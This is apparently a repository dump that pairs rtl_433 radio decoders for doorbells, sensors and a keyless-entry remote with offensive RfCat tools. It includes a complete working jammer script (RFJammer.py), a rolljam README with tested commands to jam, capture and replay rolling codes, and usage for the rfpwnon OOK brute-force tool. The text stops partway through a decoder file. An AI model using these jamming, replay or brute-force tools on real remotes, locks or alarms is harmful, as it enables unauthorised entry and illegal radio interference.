AC_CHECK_HEADERS(sys/types.h) 30 | 31 | # pc variables 32 | AC_SUBST(RTLSDR_PC_LIBS,["$LIBS"]) 33 | AC_SUBST(RTLSDR_PC_CFLAGS,["$CFLAGS"]) 34 | 35 | dnl checks for required libraries 36 | 37 | # The following test is taken from WebKit's webkit.m4 38 | saved_CFLAGS="$CFLAGS" 39 | CFLAGS="$CFLAGS -fvisibility=hidden " 40 | AC_MSG_CHECKING([if ${CC} supports -fvisibility=hidden]) 41 | AC_COMPILE_IFELSE([AC_LANG_SOURCE([char foo;])], 42 | [ AC_MSG_RESULT([yes]) 43 | SYMBOL_VISIBILITY="-fvisibility=hidden"], 44 | AC_MSG_RESULT([no])) 45 | CFLAGS="$saved_CFLAGS" 46 | AC_SUBST(SYMBOL_VISIBILITY) 47 | 48 | AC_MSG_CHECKING(whether compiler understands -Wall) 49 | old_CFLAGS="$CFLAGS" 50 | CFLAGS="$CFLAGS -Wall -Wextra -Wno-unused -Wsign-compare" 51 | AC_TRY_COMPILE([],[], 52 | AC_MSG_RESULT(yes), 53 | AC_MSG_RESULT(no) 54 | CFLAGS="$old_CFLAGS") 55 | 56 | dnl Generate the output 57 | AM_CONFIG_HEADER(config.h) 58 | 59 | AC_OUTPUT( 60 | rtl433.pc 61 | include/Makefile 62 | src/Makefile 63 | Makefile 64 | Doxyfile 65 | ) 66 | -------------------------------------------------------------------------------- /RfCatHelpers/RFJammer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import datetime as dt 5 | from rflib import * 6 | from struct import * 7 | import bitstring 8 | import operator 9 | import time 10 | import argparse 11 | 12 | keyLen = 0 13 | baudRate = 4800 14 | frequency = 433880000 15 | repeatNum = 25 16 | 17 | def ConfigureD(d): 18 | d.setMdmModulation(MOD_ASK_OOK) 19 | d.setFreq(frequency) 20 | d.makePktFLEN(0) 21 | d.setMdmDRate(4800) 22 | 23 | def jamFreq(d,freq): 24 | d.setModeTX() 25 | 26 | def stopJam(d): 27 | d.setModeIDLE() 28 | 29 | 30 | 31 | parser = argparse.ArgumentParser(description='Application to use a RFCat compatible device to Jam a particular frequency',version="0.1-bricktop") 32 | parser.add_argument('-f', action="store", default="433880000", dest="baseFreq",help='Target frequency to listen for remote (default 433880000)',type=int) 33 | parser.add_argument('-r', action="store", dest="baudRate",default=4800,help='Baudrate, defaults to 4800',type=int) 34 | parser.add_argument('-t', action="store", dest="jamTime",default=15,help='Seconds to jam for, defaults to 15 seconds',type=int) 35 | parser.add_argument('-p', action="store", default="100", dest="power",help='Power level for re-transmitting',type=int) 36 | results = parser.parse_args() 37 | 38 | print "Configuring RfCat" 39 | d = RfCat() 40 | d.setMdmModulation(MOD_ASK_OOK) 41 | d.setFreq(results.baseFreq) 42 | d.setMdmSyncMode(0) 43 | d.setMdmDRate(results.baudRate) 44 | d.setMdmChanSpc(24000) 45 | d.setModeIDLE() 46 | d.setPower(results.power) 47 | 48 | 49 | 50 | abort_after = results.jamTime 51 | start = time.time() 52 | print "Starting Jam on " + str(results.baseFreq) 53 | try: 54 | jamFreq(d,results.baseFreq) 55 | except ChipconUsbTimeoutException: 56 | pass 57 | 58 | while True: 59 | delta = time.time() - start 60 | if delta >= abort_after: 61 | break 62 | 63 | print "Completed Jam" 64 | d.setModeIDLE() 65 | -------------------------------------------------------------------------------- /Rolljam_Exploitagency/README.md: -------------------------------------------------------------------------------- 1 | rfcat-rolljam 2 | ------------- 3 | rfcat-rolljam is a python script to "jam", capture, and replay rolling code signals using two yard stick one devices and rfcat. 4 | 5 | Many may say it is unethical to release this code. I do not believe that is the case as this code is based off of two projects 6 | that are already publicly available on Github that allow you to perform a rolljam like attack, it was just fairly clunky to do so, 7 | this script simply combines everything into a single script that automates the process. It is up to you to follow all of the laws in your area. 8 | Jamming a signal is not legal in many areas, although it could be argued that this is simply transmitting vs jamming, whats the difference? 9 | The author(s) of this code take no responsibility for your use or misuse of the script. If you choose to actually use the code you should do so in 10 | a controlled environment and only on equipment that you own. Please follow all local, state, federal, and international, and religious laws. 11 | 12 | The below commands have been tested by an anonymous user to perform a rolljam attack on a remote power outlet 13 | Capture and replay first code automatically: `python rfcat-rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io` 14 | Capture and wait for keypress to replay first code: `python rfcat-rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io -k` 15 | Load previous captures to replay: `python rfcat-rolljam.py -I capture.io` 16 | 17 | The original rolljam was created by Samy Kamkar https://samy.pl 18 | Jammer portion of the code is borrowed from Alex's rolljam repo https://github.com/alextspy/rolljam 19 | Scan and replay of the code is borrowed from Andrew Macpherson's RfCatHelpers https://github.com/AndrewMohawk/RfCatHelpers 20 | Combined and lightly modified into something similar to Samy Kamkar's original rolljam by Corey Harding from https://LegacySecurityGroup.com -------------------------------------------------------------------------------- /rtl_433/src/devices/quhwa.c: -------------------------------------------------------------------------------- 1 | /* Quhwa 2 | * 3 | * Tested devices: 4 | * QH-C-CE-3V (which should be compatible with QH-832AC), 5 | * also sold as "1 by One" wireless doorbell 6 | * 7 | * Copyright (C) 2016 Ask Jakobsen 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation; either version 2 of the License, or 11 | * (at your option) any later version. 12 | */ 13 | #include "rtl_433.h" 14 | #include "pulse_demod.h" 15 | #include "data.h" 16 | #include "util.h" 17 | 18 | 19 | static int quhwa_callback(bitbuffer_t *bitbuffer) { 20 | bitrow_t *bb = bitbuffer->bb; 21 | uint8_t *b = bb[0]; 22 | 23 | b[0] = ~b[0]; 24 | b[1] = ~b[1]; 25 | b[2] = ~b[2]; 26 | 27 | unsigned bits = bitbuffer->bits_per_row[0]; 28 | 29 | if ((bits == 18) && 30 | ((b[1] & 0x03) == 0x03) && 31 | ((b[2] & 0xC0) == 0xC0)) 32 | { 33 | uint32_t ID = (b[0] << 8) | b[1]; 34 | data_t *data; 35 | 36 | char time_str[LOCAL_TIME_BUFLEN]; 37 | local_time_str(0, time_str); 38 | 39 | data = data_make("time", "", DATA_STRING, time_str, 40 | "model", "", DATA_STRING, "Quhwa doorbell", 41 | "id", "ID", DATA_INT, ID, 42 | NULL); 43 | 44 | data_acquired_handler(data); 45 | 46 | return 1; 47 | } 48 | return 0; 49 | } 50 | 51 | static char *output_fields[] = { 52 | "time", 53 | "model", 54 | "id", 55 | NULL 56 | }; 57 | 58 | PWM_Precise_Parameters pwm_precise_parameters_quhwa = { 59 | .pulse_tolerance = 20, 60 | .pulse_sync_width = 0, // No sync bit used 61 | }; 62 | 63 | r_device quhwa = { 64 | .name = "Quhwa", 65 | .modulation = OOK_PULSE_PWM_PRECISE, 66 | .short_limit = 360, // Pulse: Short 360µs, Long 1070µs 67 | .long_limit = 1070, // Gaps: Short 360µs, Long 1070µs 68 | .reset_limit = 1200, // Intermessage Gap 5200µs 69 | .json_callback = &quhwa_callback, 70 | .disabled = 0, 71 | .demod_arg = (uintptr_t)&pwm_precise_parameters_quhwa, 72 | }; 73 | -------------------------------------------------------------------------------- /rtl_433/src/devices/kerui.c: -------------------------------------------------------------------------------- 1 | /* Kerui PIR sensor 2 | * 3 | * Code derrived from akhan_100F14.c 4 | * 5 | * Such as 6 | * http://www.ebay.co.uk/sch/i.html?_from=R40&_trksid=p2050601.m570.l1313.TR0.TRC0.H0.Xkerui+pir.TRS0&_nkw=kerui+pir&_sacat=0 7 | */ 8 | 9 | #include "rtl_433.h" 10 | #include "pulse_demod.h" 11 | #include "util.h" 12 | #include "data.h" 13 | 14 | static int kerui_callback(bitbuffer_t *bitbuffer) { 15 | bitrow_t *bb = bitbuffer->bb; 16 | uint8_t *b = bb[0]; 17 | 18 | //invert bits, short pulse is 0, long pulse is 1 19 | b[0] = ~b[0]; 20 | b[1] = ~b[1]; 21 | b[2] = ~b[2]; 22 | 23 | unsigned bits = bitbuffer->bits_per_row[0]; 24 | 25 | if (bits == 25) { 26 | char time_str[LOCAL_TIME_BUFLEN]; 27 | local_time_str(0, time_str); 28 | data_t *data; 29 | 30 | uint32_t ID = (b[0] << 12) | (b[1] << 4) | (b[2] >> 4); 31 | uint32_t dataBits = b[2] & 0x0F; 32 | int isKerui = 1; 33 | char *CMD; 34 | 35 | switch (dataBits) { 36 | case 0xa: CMD = "0xa (PIR)"; break; 37 | default: 38 | isKerui = 0; 39 | break; 40 | } 41 | 42 | if (isKerui == 1) { 43 | data = data_make( "time", "", DATA_STRING, time_str, 44 | "model", "", DATA_STRING, "Kerui PIR Sensor", 45 | "id", "ID (20bit)", DATA_FORMAT, "0x%x", DATA_INT, ID, 46 | "data", "Data (4bit)", DATA_STRING, CMD, 47 | NULL); 48 | 49 | } else { 50 | return 0; 51 | } 52 | 53 | data_acquired_handler(data); 54 | return 1; 55 | } 56 | return 0; 57 | } 58 | 59 | static char *output_fields[] = { 60 | "time", 61 | "model", 62 | "id", 63 | "data", 64 | NULL 65 | }; 66 | 67 | PWM_Precise_Parameters pwm_precise_parameters_kerui = { 68 | .pulse_tolerance = 20, 69 | .pulse_sync_width = 0, 70 | }; 71 | 72 | r_device kerui = { 73 | .name = "Kerui PIR Sensor", 74 | .modulation = OOK_PULSE_PWM_PRECISE, 75 | .short_limit = 316, 76 | .long_limit = 1020, 77 | .reset_limit = 1800, 78 | .json_callback = &kerui_callback, 79 | .disabled = 0, 80 | .demod_arg = (uintptr_t)&pwm_precise_parameters_kerui, 81 | }; 82 | -------------------------------------------------------------------------------- /rtl_433/tests/data-test.c: -------------------------------------------------------------------------------- 1 | /* 2 | * A general structure for extracting hierarchical data from the devices; 3 | * typically key-value pairs, but allows for more rich data as well 4 | * 5 | * Copyright (C) 2015 by Erkki Seppälä 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 2 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with this program. If not, see . 19 | */ 20 | 21 | #include 22 | 23 | #include "data.h" 24 | 25 | int main() 26 | { 27 | data_t *data = data_make("label" , "", DATA_STRING, "1.2.3", 28 | "house_code" , "House Code", DATA_INT, 42, 29 | "temp" , "Temperature", DATA_DOUBLE, 99.9, 30 | "array" , "Array", DATA_ARRAY, data_array(2, DATA_STRING, (char*[2]){"hello", "world"}), 31 | "array2" , "Array 2", DATA_ARRAY, data_array(2, DATA_INT, (int[2]){4, 2}), 32 | "array3" , "Array 3", DATA_ARRAY, data_array(2, DATA_ARRAY, (data_array_t*[2]){ 33 | data_array(2, DATA_INT, (int[2]){4, 2}), 34 | data_array(2, DATA_INT, (int[2]){5, 5}) }), 35 | "data" , "Data", DATA_DATA, data_make("Hello", "hello", DATA_STRING, "world", NULL), 36 | NULL); 37 | const char *fields[] = { "label", "house_code", "temp", "array", "array2", "array3", "data", "house_code" }; 38 | data_print(data, stdout, &data_json_printer, NULL); fprintf(stdout, "\n"); 39 | data_print(data, stdout, &data_kv_printer, NULL); 40 | void *csv_aux = data_csv_init(fields, sizeof fields / sizeof *fields); 41 | data_print(data, stdout, &data_csv_printer, csv_aux); 42 | data_csv_free(csv_aux); 43 | data_free(data); 44 | } 45 | -------------------------------------------------------------------------------- /rtl_433/src/devices/tfa_pool_thermometer.c: -------------------------------------------------------------------------------- 1 | /* TFA pool temperature sensor 2 | * 3 | * Copyright (C) 2015 Alexandre Coffignal 4 | * This program is free software; you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation; either version 2 of the License, or 7 | * (at your option) any later version. 8 | * 9 | */ 10 | #include "data.h" 11 | #include "rtl_433.h" 12 | #include "util.h" 13 | 14 | 15 | static int pool_temperature_sensor_callback(bitbuffer_t *bitbuffer) { 16 | bitrow_t *bb = bitbuffer->bb; 17 | data_t *data; 18 | char time_str[LOCAL_TIME_BUFLEN]; 19 | local_time_str(0, time_str); 20 | int i,device,channel; 21 | int iTemp; 22 | float fTemp; 23 | 24 | 25 | for(i=1;i<8;i++){ 26 | if(bitbuffer->bits_per_row[i]!=28){ 27 | /*10 24 bits frame*/ 28 | return 0; 29 | } 30 | } 31 | 32 | /* 33 | AAAABBBB BBBBCCCC CCCCCCCC DDEE 34 | 35 | A: ? 36 | B: device id (changing only after reset) 37 | C: templerature 38 | D: channel number 39 | E: ? 40 | */ 41 | 42 | device=(((bb[1][0]&0xF)<<4)+((bb[1][1]&0xF0)>>4)); 43 | iTemp=((bb[1][1]&0xF)<<8)+bb[1][2]; 44 | fTemp=(iTemp > 2048 ? iTemp - 4096 : iTemp) / 10.0; 45 | channel=(signed short)((bb[1][3]&0xC0)>>6); 46 | 47 | data = data_make("time", "", DATA_STRING, time_str, 48 | "model", "", DATA_STRING, "TFA pool temperature sensor", 49 | "id", "Id", DATA_FORMAT, "\t %d", DATA_INT, device, 50 | "channel", "Channel number", DATA_FORMAT, "\t %d", DATA_INT, channel, 51 | "temperature_C", "Temperature", DATA_FORMAT, "%.01f C", DATA_DOUBLE, fTemp, 52 | NULL); 53 | data_acquired_handler(data); 54 | 55 | return 1; 56 | 57 | } 58 | 59 | static char *output_fields[] = { 60 | "time", 61 | "model", 62 | "id", 63 | "channel", 64 | "temperature_C", 65 | NULL 66 | }; 67 | 68 | r_device tfa_pool_thermometer = { 69 | 70 | .name = "TFA pool temperature sensor", 71 | .modulation = OOK_PULSE_PPM_RAW, 72 | .short_limit = 3500, 73 | .long_limit = 7800, 74 | .reset_limit = 10000, 75 | .json_callback = &pool_temperature_sensor_callback, 76 | .disabled = 0, 77 | .demod_arg = 0, 78 | .fields = output_fields, 79 | }; 80 | -------------------------------------------------------------------------------- /rtl_433/src/devices/generic_temperature_sensor.c: -------------------------------------------------------------------------------- 1 | /* Generic temperature sensor 1 2 | * 3 | * Copyright (C) 2015 Alexandre Coffignal 4 | * This program is free software; you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation; either version 2 of the License, or 7 | * (at your option) any later version. 8 | * 9 | */ 10 | #include "data.h" 11 | #include "rtl_433.h" 12 | #include "util.h" 13 | 14 | 15 | static int generic_temperature_sensor_callback(bitbuffer_t *bitbuffer) { 16 | data_t *data; 17 | char time_str[LOCAL_TIME_BUFLEN]; 18 | uint8_t *b = bitbuffer->bb[1]; 19 | int i,device,battery; 20 | float fTemp; 21 | 22 | for(i=1;i<10;i++){ 23 | if(bitbuffer->bits_per_row[i]!=24){ 24 | /*10 24 bits frame*/ 25 | return 0; 26 | } 27 | } 28 | 29 | // reduce false positives 30 | if ((b[0] == 0 && b[1] == 0 && b[2] == 0) 31 | || (b[0] == 0xff && b[1] == 0xff && b[2] == 0xff)) { 32 | return 0; 33 | } 34 | 35 | //AAAAAAAA BBCCCCCC CCCCCCCC 36 | //AAAAAAAA : ID 37 | //BBBB : battery ? 38 | //CCCCCCCCCCCC : Temp 39 | 40 | device=(b[0]); 41 | battery=(b[1]&0xF0)>>4; 42 | fTemp=(float)((signed short)(((b[1]&0x3f)*256+b[2])<<2))/160.0; 43 | 44 | local_time_str(0, time_str); 45 | data = data_make("time", "", DATA_STRING, time_str, 46 | "model", "", DATA_STRING, "Generic temperature sensor 1", 47 | "id", "Id", DATA_FORMAT, "\t %d", DATA_INT, device, 48 | "temperature_C", "Temperature", DATA_FORMAT, "%.02f C", DATA_DOUBLE, fTemp, 49 | "battery", "Battery?", DATA_INT, battery, 50 | NULL); 51 | data_acquired_handler(data); 52 | 53 | return 1; 54 | 55 | } 56 | 57 | static char *output_fields[] = { 58 | "time", 59 | "model", 60 | "id", 61 | "temperature_C", 62 | "battery", 63 | NULL 64 | }; 65 | 66 | r_device generic_temperature_sensor = { 67 | .name = "Generic temperature sensor 1", 68 | .modulation = OOK_PULSE_PPM_RAW, 69 | .short_limit = 3500, 70 | .long_limit = 4800, 71 | .reset_limit = 10000, 72 | .json_callback = &generic_temperature_sensor_callback, 73 | .disabled = 0, 74 | .demod_arg = 0, 75 | .fields = output_fields, 76 | }; 77 | -------------------------------------------------------------------------------- /rtl_433/src/devices/akhan_100F14.c: -------------------------------------------------------------------------------- 1 | /* Akhan remote keyless entry system 2 | * 3 | * This RKE system uses a HS1527 OTP encoder (http://sc-tech.cn/en/hs1527.pdf) 4 | * Each message consists of a preamble, 20 bit id and 4 data bits. 5 | * 6 | * (code based on chuango.c and generic_remote.c) 7 | */ 8 | #include "rtl_433.h" 9 | #include "pulse_demod.h" 10 | #include "util.h" 11 | #include "data.h" 12 | 13 | static int akhan_rke_callback(bitbuffer_t *bitbuffer) { 14 | bitrow_t *bb = bitbuffer->bb; 15 | uint8_t *b = bb[0]; 16 | 17 | //invert bits, short pulse is 0, long pulse is 1 18 | b[0] = ~b[0]; 19 | b[1] = ~b[1]; 20 | b[2] = ~b[2]; 21 | 22 | unsigned bits = bitbuffer->bits_per_row[0]; 23 | 24 | if (bits == 25) { 25 | char time_str[LOCAL_TIME_BUFLEN]; 26 | local_time_str(0, time_str); 27 | data_t *data; 28 | 29 | uint32_t ID = (b[0] << 12) | (b[1] << 4) | (b[2] >> 4); 30 | uint32_t dataBits = b[2] & 0x0F; 31 | int isAkhan = 1; 32 | char *CMD; 33 | 34 | switch (dataBits) { 35 | case 0x1: CMD = "0x1 (Lock)"; break; 36 | case 0x2: CMD = "0x2 (Unlock)"; break; 37 | case 0x4: CMD = "0x4 (Mute)"; break; 38 | case 0x8: CMD = "0x8 (Alarm)"; break; 39 | default: 40 | isAkhan = 0; 41 | break; 42 | } 43 | 44 | if (isAkhan == 1) { 45 | data = data_make( "time", "", DATA_STRING, time_str, 46 | "model", "", DATA_STRING, "Akhan 100F14 remote keyless entry", 47 | "id", "ID (20bit)", DATA_FORMAT, "0x%x", DATA_INT, ID, 48 | "data", "Data (4bit)", DATA_STRING, CMD, 49 | NULL); 50 | 51 | data_acquired_handler(data); 52 | return 1; 53 | } 54 | 55 | } 56 | return 0; 57 | } 58 | 59 | static char *output_fields[] = { 60 | "time", 61 | "model", 62 | "id", 63 | "data", 64 | NULL 65 | }; 66 | 67 | PWM_Precise_Parameters pwm_precise_parameters_akhan = { 68 | .pulse_tolerance = 20, 69 | .pulse_sync_width = 0, 70 | }; 71 | 72 | r_device akhan_100F14 = { 73 | .name = "Akhan 100F14 remote keyless entry", 74 | .modulation = OOK_PULSE_PWM_PRECISE, 75 | .short_limit = 316, 76 | .long_limit = 1020, 77 | .reset_limit = 1800, 78 | .json_callback = &akhan_rke_callback, 79 | .disabled = 0, 80 | .demod_arg = (uintptr_t)&pwm_precise_parameters_akhan, 81 | }; 82 | -------------------------------------------------------------------------------- /rtl_433/src/devices/inovalley-kw9015b.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | #include "util.h" 3 | /* Inovalley kw9015b rain and Temperature weather station 4 | * 5 | * Copyright (C) 2015 Alexandre Coffignal 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | */ 11 | 12 | extern uint8_t reverse8(uint8_t x); 13 | 14 | static int kw9015b_callback(bitbuffer_t *bitbuffer) { 15 | bitrow_t *bb = bitbuffer->bb; 16 | 17 | 18 | int i,iRain,device; 19 | unsigned char chksum; 20 | float fTemp; 21 | char buf[255]; 22 | for(i=0;i<5;i++){ 23 | if(bitbuffer->bits_per_row[i]!=36){ 24 | /*10 24 bits frame*/ 25 | }else{ 26 | //AAAAAAAA BBBBBBBB BBBBBBBB CCCCCCCC DDDD 27 | //A : ID 28 | //B : Temp 29 | //C : Rain 30 | //D : checksum 31 | 32 | device=reverse8(bb[i][0]); 33 | fTemp=(float)((signed short)(reverse8(bb[i][2])*256+reverse8(bb[i][1]))) /160; 34 | iRain = reverse8(bb[i][3]); 35 | chksum=((reverse8(bb[i][0])>>4)+(reverse8(bb[i][0])&0x0F)+ 36 | (reverse8(bb[i][1])>>4)+(reverse8(bb[i][1])&0x0F)+ 37 | (reverse8(bb[i][2])>>4)+(reverse8(bb[i][2])&0x0F)+ 38 | (reverse8(bb[i][3])>>4)+(reverse8(bb[i][3])&0x0F)); 39 | 40 | if( (chksum&0x0F) == ( reverse8(bb[i][4]) &0x0F)){ 41 | fprintf(stdout, "\nSensor = Temperature and rain event\n"); 42 | fprintf(stdout, "Device = %d\n", device); 43 | fprintf(stdout, "Temp = %f\n",fTemp); 44 | fprintf(stdout, "Rain = %d\n",iRain); 45 | fprintf(stdout, "checksum = %02x==%02x\n",chksum&0xF,reverse8(bb[i][4])); 46 | fprintf(stdout, "Received Data = %02X %02X %02X %02X %02X\n", 47 | reverse8(bb[i][0]), 48 | reverse8(bb[i][1]), 49 | reverse8(bb[i][2]), 50 | reverse8(bb[i][3]), 51 | reverse8(bb[i][4])); 52 | 53 | 54 | return 1; 55 | } 56 | } 57 | } 58 | 59 | 60 | return 0; 61 | 62 | } 63 | 64 | r_device kw9015b = { 65 | .name = "Inovalley kw9015b rain and Temperature weather station", 66 | .modulation = OOK_PULSE_PPM_RAW, 67 | .short_limit = 3500, 68 | .long_limit = 4800, 69 | .reset_limit = 10000, 70 | .json_callback = &kw9015b_callback, 71 | .disabled = 1, 72 | .demod_arg = 0, 73 | }; 74 | -------------------------------------------------------------------------------- /rtl_433/include/baseband.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Baseband 3 | * 4 | * Various functions for baseband sample processing 5 | * 6 | * Copyright (C) 2012 by Benjamin Larsson 7 | * Copyright (C) 2015 Tommy Vestermark 8 | * 9 | * This program is free software; you can redistribute it and/or modify 10 | * it under the terms of the GNU General Public License as published by 11 | * the Free Software Foundation; either version 2 of the License, or 12 | * (at your option) any later version. 13 | */ 14 | 15 | #ifndef INCLUDE_BASEBAND_H_ 16 | #define INCLUDE_BASEBAND_H_ 17 | 18 | #include 19 | 20 | /// This will give a noisy envelope of OOK/ASK signals 21 | 22 | /// Subtract the bias (-128) and get an envelope estimation (absolute squared) 23 | /// @param *iq_buf: input samples (I/Q samples in interleaved uint8) 24 | /// @param *y_buf: output 25 | /// @param len: number of samples to process 26 | void envelope_detect(const uint8_t *iq_buf, uint16_t *y_buf, uint32_t len); 27 | 28 | #define FILTER_ORDER 1 29 | 30 | /// Filter state buffer 31 | typedef struct { 32 | int16_t y[FILTER_ORDER]; 33 | int16_t x[FILTER_ORDER]; 34 | } FilterState; 35 | 36 | /// FM_Demod state buffer 37 | typedef struct { 38 | int16_t br, bi; // Last I/Q sample 39 | int16_t xlp, ylp; // Low-pass filter state 40 | } DemodFM_State; 41 | 42 | /// Lowpass filter 43 | /// 44 | /// Function is stateful 45 | /// @param *x_buf: input samples to be filtered 46 | /// @param *y_buf: output from filter 47 | /// @param len: number of samples to process 48 | /// @param FilterState: State to store between chunk processing 49 | void baseband_low_pass_filter(const uint16_t *x_buf, int16_t *y_buf, uint32_t len, FilterState *state); 50 | 51 | /// FM demodulator 52 | /// 53 | /// Function is stateful 54 | /// @param *x_buf: input samples (I/Q samples in interleaved uint8) 55 | /// @param *y_buf: output from FM demodulator 56 | /// @param len: number of samples to process 57 | /// @param DemodFM_State: State to store between chunk processing 58 | void baseband_demod_FM(const uint8_t *x_buf, int16_t *y_buf, unsigned num_samples, DemodFM_State *state); 59 | 60 | /// Initialize tables and constants 61 | /// Should be called once at startup 62 | void baseband_init(void); 63 | 64 | /// Dump binary data (for debug purposes) 65 | void baseband_dumpfile(const uint8_t *buf, uint32_t len); 66 | 67 | #endif /* INCLUDE_BASEBAND_H_ */ 68 | -------------------------------------------------------------------------------- /rtl_433/src/devices/waveman.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | 3 | static int waveman_callback(bitbuffer_t *bitbuffer) { 4 | uint8_t *b = bitbuffer->bb[0]; 5 | /* Two bits map to 2 states, 0 1 -> 0 and 1 1 -> 1 */ 6 | int i; 7 | uint8_t nb[3] = {0}; 8 | data_t *data; 9 | char id_str[2]; 10 | 11 | /* @todo iterate through all rows */ 12 | 13 | /* Reject codes of wrong length */ 14 | if ( 24 != bitbuffer->bits_per_row[0]) 15 | return 0; 16 | 17 | /* 18 | * Catch the case triggering false positive for other transmitters. 19 | * example: Brennstuhl RCS 2044SN 20 | * @todo is this message valid at all??? if not then put more validation below 21 | * instead of this special case 22 | */ 23 | if ( 0xFF == b[0] && 24 | 0xFF == b[1] && 25 | 0xFF == b[2] ) 26 | return 0; 27 | 28 | /* Test if the bit stream conforms to the rule of every odd bit being set to one */ 29 | if (((b[0]&0x55)==0x55) && ((b[1]&0x55)==0x55) && ((b[2]&0x55)==0x55) && ((b[3]&0x55)==0x00)) { 30 | /* Extract data from the bit stream */ 31 | for (i=0 ; i<3 ; i++) { 32 | nb[i] |= ((b[i]&0xC0)==0xC0) ? 0x00 : 0x01; 33 | nb[i] |= ((b[i]&0x30)==0x30) ? 0x00 : 0x02; 34 | nb[i] |= ((b[i]&0x0C)==0x0C) ? 0x00 : 0x04; 35 | nb[i] |= ((b[i]&0x03)==0x03) ? 0x00 : 0x08; 36 | } 37 | 38 | id_str[0] = 'A'+nb[0]; 39 | id_str[1] = 0; 40 | data = data_make("model", NULL, DATA_STRING, "Waveman Switch Transmitter", 41 | "id", NULL, DATA_STRING, id_str, 42 | "channel", NULL, DATA_INT, (nb[1]>>2)+1, 43 | "button", NULL, DATA_INT, (nb[1]&3)+1, 44 | "state", NULL, DATA_STRING, (nb[2]==0xe) ? "on" : "off", 45 | NULL); 46 | data_acquired_handler(data); 47 | 48 | return 1; 49 | } 50 | return 0; 51 | } 52 | 53 | static char *output_fields[] = { 54 | "model", 55 | "id", 56 | "channel", 57 | "button", 58 | "state", 59 | NULL 60 | }; 61 | 62 | 63 | r_device waveman = { 64 | .name = "Waveman Switch Transmitter", 65 | .modulation = OOK_PULSE_PWM_RAW, 66 | .short_limit = 1000, 67 | .long_limit = 8000, 68 | .reset_limit = 30000, 69 | .json_callback = &waveman_callback, 70 | .disabled = 0, 71 | .demod_arg = 1, // Remove startbit 72 | .fields = output_fields 73 | }; 74 | -------------------------------------------------------------------------------- /Bruteforce_Attack/README.md: -------------------------------------------------------------------------------- 1 | # rfpwnon 2 | Written by Corey Harding from http://www.LegacySecurityGroup.com

3 | Video demo with instructions available at: https://www.legacysecuritygroup.com/index.php/categories/13-sdr/22-rfpwnon-py-the-ultimate-rfcat-ask-ook-brute-force-tool
4 |
5 |
 6 | usage: rfpwnon.py [-h] [-v] [-f BASEFREQ] [-b BAUDRATE] [-l BINLENGTH]
 7 |                   [-r REPEATTIMES] [--keys] [-p PPAD] [-t TPAD] [--raw]
 8 |                   [--tri] [--show]
 9 | 
10 | Application to use a rfcat compatible device to brute force a particular AM
11 | OOK or raw binary signal.
12 | 
13 | optional arguments:
14 |   -h, --help      show this help message and exit
15 |   -v, --version   show program's version number and exit
16 |   -f BASEFREQ     Specify the target frequency to transmit on, default is
17 |                   915000000.
18 |   -b BAUDRATE     Specify the baudrate of the signal, default is 2000.
19 |   -l BINLENGTH    Specify the binary length of the signal to brute force. By
20 |                   default this is the binary length before pwm encoding. When
21 |                   the flag --raw is set this is the binary length of the pwm
22 |                   encoded signal.
23 |   -r REPEATTIMES  Specify the number of times to repeat the signal. By default
24 |                   this is set to 1 and uses the de bruijn sequence for speed.
25 |                   When set greater than one the script sends each possible
26 |                   permutation of the signal individually and takes much longer
27 |                   to complete. For some applications the signal is required to
28 |                   be sent multiple times.
29 |   --keys          Displays the values being transmitted in binary, hex, and
30 |                   decimal both before and after pwm encoding.
31 |   -p PPAD         Specify your own binary padding to be attached before the
32 |                   brute forced binary.
33 |   -t TPAD         Specify your own binary padding to be attached after the
34 |                   brute forced binary.
35 |   --raw           This flag disables the script from performing the pwm
36 |                   encoding of the binary signal. When set you must specify the
37 |                   full pwm encoded binary length using -l.
38 |   --tri           This flag sets up the script to brute force a trinary
39 |                   signal.
40 |   --show          Prints de Bruijn sequence before transmitting.
41 | 
42 | -------------------------------------------------------------------------------- /rtl_433/src/devices/elro_db286a.c: -------------------------------------------------------------------------------- 1 | /* Doorbell implementation for Elro DB286A devices 2 | * 3 | * Note that each device seems to have two codes, which alternate 4 | * for every other button press. 5 | * 6 | * Example code: 37f62a6c80 7 | * 8 | * Copyright (C) 2016 Fabian Zaremba 9 | * This program is free software; you can redistribute it and/or modify 10 | * it under the terms of the GNU General Public License as published by 11 | * the Free Software Foundation; either version 2 of the License, or 12 | * (at your option) any later version. 13 | */ 14 | 15 | #include "rtl_433.h" 16 | #include "pulse_demod.h" 17 | #include "data.h" 18 | #include "util.h" 19 | 20 | //33 pulses per data pattern 21 | #define DB286A_PULSECOUNT 33 22 | //5*8 = 40 bits, 7 trailing zero bits are encoded, too 23 | #define DB286A_CODEBYTES 5 24 | //Hex character count for code: 25 | //(DB286A_CODEBYTES*8)/4 (8 bits per byte, 4 bits per hex character) 26 | #define DB286A_CODECHARS DB286A_CODEBYTES*2 27 | //Minimum data pattern repetitions (14 is maximum) 28 | #define DB286A_MINPATTERN 5 29 | 30 | static int doorbell_db286a_callback(bitbuffer_t *bitbuffer) { 31 | 32 | char time_str[LOCAL_TIME_BUFLEN]; 33 | data_t *data; 34 | bitrow_t *bb = bitbuffer->bb; 35 | uint8_t *b = bb[1]; 36 | unsigned bits = bitbuffer->bits_per_row[1]; 37 | 38 | char id_string[DB286A_CODECHARS+1]; 39 | char *idsp = id_string; 40 | 41 | unsigned i; 42 | 43 | if (bits != 